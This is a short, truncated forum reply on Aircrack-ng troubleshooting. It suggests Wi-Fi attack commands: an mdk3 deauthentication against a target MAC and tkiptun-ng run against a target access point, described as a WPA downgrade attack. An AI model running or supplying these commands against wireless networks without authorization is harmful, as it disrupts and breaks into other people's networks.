Re: Aircrack-ng was working perfectly until....

Run a few checks

      Try deauthing with mdk3 mon0 g -t 55:44:33:22:11:00
 
       The WPA downgrade attack

       Try running tkiptun-ng this also deauths the target

       tkiptun-ng -a targetAP  -h  device mac   mon0   

      Even if no handshak...